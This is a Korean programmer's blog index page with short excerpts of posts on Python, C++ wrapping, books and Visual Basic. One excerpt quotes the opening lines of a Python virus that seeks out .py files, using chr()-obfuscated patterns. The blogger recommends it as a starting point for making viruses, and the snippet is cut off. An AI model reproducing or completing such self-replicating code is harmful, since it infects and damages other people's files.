언어의 선택

언어의 선택에 있어서 유연함을 발휘할수 있는 사람이 몇이나 될까 하는 생각을 해봤다. 나 역시 언어를 다 잘 하는게 아니기 때문에 선택의 유연성은 없다. 언어 선택을 할수 있다는것은 기본 base로 수가지 언어를 다룰줄 안다는것을 가정한다. 그런면에서 봤을때 난 선택을 할수 없는 입장이긴 하다. 어제 강컴 이벤트로 구입한 임백준씨의 행복한 프로그래밍을 보다가 좋은 글귀가 있어서 써보려 한다. […]

계속 읽기

Python virus 소스코드

외국사이트에서 돌아다니는 소스코드다.. 세상에…이건 바이러스가 아니라… 악성코드다… 근데 파이썬으로 바이러스를 제작하려는 사람들.. 이 코드로 시작해 보는것도 좋을듯 싶다. import glob, os os.__file__ Vort3x_ = (__file__) Msg = raw_input(” nn This is a virus! nn Have a nice day nn Peace: nn Vort3x “) CountFile = glob.glob(chr(42)+chr(46)+chr(112)+chr(121)) + glob.glob(chr(42)+chr(46)+chr(112)+chr(121)+chr(119)) for CountFile in CountFile: ReadVirus = open […]

계속 읽기

이번달에 구입한 책…

3월달부터 네트웍 프로그래밍과 리눅스 및 유닉스 프로그래밍을 해야될 일이 생겨서 그에 관한 책좀 구입했다.. 아래 Python Network Programming 이라는 책은 보름넘게 걸려서 받은 책이다. 온라인으로 주문한지 얼마 안되서 교보문고에 있는걸 발견했는데. 강컴은 해외원서 주문후 취소가 안되는지라… 기다렸다 받은 책이다. 다른사람의 손이 안간 책이라서 기분은 좋다. 최신 정보 검색론이라는 책은 검색엔진 개발자 그룹 오프 모임에 나가서 […]

계속 읽기

“내 소망은 노력하는 개발자로 남고 싶다는 것이다”

내가 추구하는 개발자 상이기도 하다. 네이버나 여타 다른 검색엔진에서 내가 다니는 회사를 검색했을때 내 이름이나 필명이 먼저 나오게 하는게 내가 30대 중반까지 가지고 있는 목표이다. 그리고 다른 하나는 노력하는 개발자 항상 자신이 해야할일을 추구하고 잘 할수 있는 일을 찾아서 하는 능동적인 개발자가 되고 싶다는 것이다. 그런 의미에게 이 글은 많은 생각을 하게 만든다. “내 소망은 […]

계속 읽기

MS 비주얼 베이직 지원 중단「올 것이 왔다!

MS 비주얼 베이직 지원 중단「올 것이 왔다! 시원 섭섭하다는 말이 맞을까??? 가장 처음 프로그램 다운 프로그램을 짜본 언어가 비베6였는데. 그 시절 프로그램에 대한 재미를 붙여준 언어도 비베였었고… 지금 객체지향방식의 프로그래밍을 하면서 비베를 배웠던것을 후회 하지만 (잘못된 코딩 습관을 길러준것에 대해) 즐거운 프로그래밍에 대해서 맛을 들여준 고마운 친구였기도 했다. 마지막에 이 글이 마음에 와 닿는다. …”한 […]

계속 읽기

Python으로 만든 공짜 바이러스 백신

오픈소스 Python 프로젝트 이중에 눈길을 끄는건..ClamWin Free Antivirus라는거다.. 공짜 백신인데… 음… 소스를 보니 입출력단과 인터페이스 부분을 파이썬으로 만들었고. 인터넷 익스플로러 쉘 부분은 C++로 만들거 같다.. 엔진은 인터넷으로 다운받게 되어있는거 같아서 확인하기는 좀 어려울거 같고.. 파이썬의 장점을 잘 살린 프로젝트같군.. 바이러스는 잘 잡히는지안잡히는지 모르겠는데 그런데로 공짜니까 쓸만할거 같다.

계속 읽기

요즘 파이썬으로 했던 프로그래밍…

나중에 이력서 쓸때 참고 해야지… 이력서 업데이트는 1달에 한번씩 하라는데 귀찮아서리.. 1. 삼성 SDI 패널 공장에서 돌아가는 프로그램 스위칭 모듈… – 단 20라인.. win32 api 2개 이용해서.. 2시간 만에 완성 (친구 부탁으로) exe로 만들어서 쏴줬다…ㅋㅋ 2. 강동구청… 검색엔진에 포함된 XML – RPC 서버 – 이건 하루만에 만들었다. 스케줄링 기능을 추가하고 로깅 기능까지 추가하는데는 하루가 더 […]

계속 읽기

어제 문제가 됐던 memory leak 잡았다.

오늘 진짜 Cpp 컴파일을 한 백번은 한거 같다.. ㅡㅡ; C 함수를 Wrapping 해서 불러와서 실행은 정말 잘되고 그런데.. 앞으로 프로그램에 탑제되서 길게는 몇달을 돌을텐데… 문서 필터링할때마다 메모리가 쌓이면 안되지.. 인터렉트브 쉘로 만번 천번씩 돌려보며 메모리 세는거 보고 수정하고 보고…. 100번은 했나보다.. 하루 종일… 근데.. 솔직히 C코드나 Python 코드나 이상은 없는데.. 문제는 인터페이스 파일이 문제 였다.. […]

계속 읽기

두 코드의 차이

lines = “” for line in open(“max.txt”, “r”).readlines():     lines += line 와.. lines = [] for line in open(“max.txt”, “r”).readlines():     lines.append(line) lines = “”.join(lines) 이거…. 둘다 Python 코드인데 매우(?) 큰 파일을 읽을때 속도 차이가 날까? 자바의 String 객체에서 “+”로 스트링을 append 시킬때 StringBuffer의 “append” 메서드를 쓰라고 퍼포먼스 팁에 나와있다. 물론 자바에서 String은 불변 객체이다. 만일 […]

계속 읽기